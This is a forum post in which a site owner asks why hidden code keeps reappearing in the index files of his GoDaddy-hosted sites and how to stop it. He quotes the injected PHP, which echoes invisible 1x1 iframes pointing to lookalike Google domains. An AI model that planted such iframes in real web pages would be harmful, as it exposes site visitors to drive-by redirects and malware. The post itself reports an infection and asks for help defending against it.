PHP Site Security issue

Hey all there is one strange issue with my site.... my site is on go daddy domain. and i dont know some how it insert following code in all index.php and index.html files echo "<iframe src=\"http://google-ana1yticz.com/?click=3A208D\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://goooogleadsence.biz/?click=3A208D\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; this code disturbs my site and redirect on ebay or any other sites.... Is there any way i can prevent my files from being edited. also i can't trace from where it got affected.... Is this some kind of virus on server or its a hack.... also its spreading over my other site's on the same domain.... even after i remove that code...some how it got regenerated and inserted in my files..... any idea please regards Pravin